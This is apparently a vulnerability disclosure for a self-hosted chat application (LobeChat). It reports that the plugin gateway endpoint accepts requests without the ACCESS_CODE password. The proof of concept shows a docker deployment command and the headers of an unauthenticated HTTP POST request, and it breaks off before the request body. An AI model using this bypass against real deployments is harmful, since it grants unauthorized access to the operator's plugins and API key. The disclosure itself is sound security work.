Description:
When the application is password-protected (deployed with the ACCESS_CODE option), it is possible to access plugins without proper authorization (without password).
Proof-of-Concept:
Let’s suppose that application has been deployed with following command:
sudo docker run -d -p 3210:3210 -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123 --name lobe-chat lobehub/lobe-chat
Due to the utilization of the ACCESS_CODE, access to the chat is possible only after entering the password:

However, it is possible to interact with chat plugins without entering the ACCESS_CODE.
Example HTTP request:
POST /api/plugin/gateway HTTP/1.1
Host: localhost:3210
Content-Length: 1276
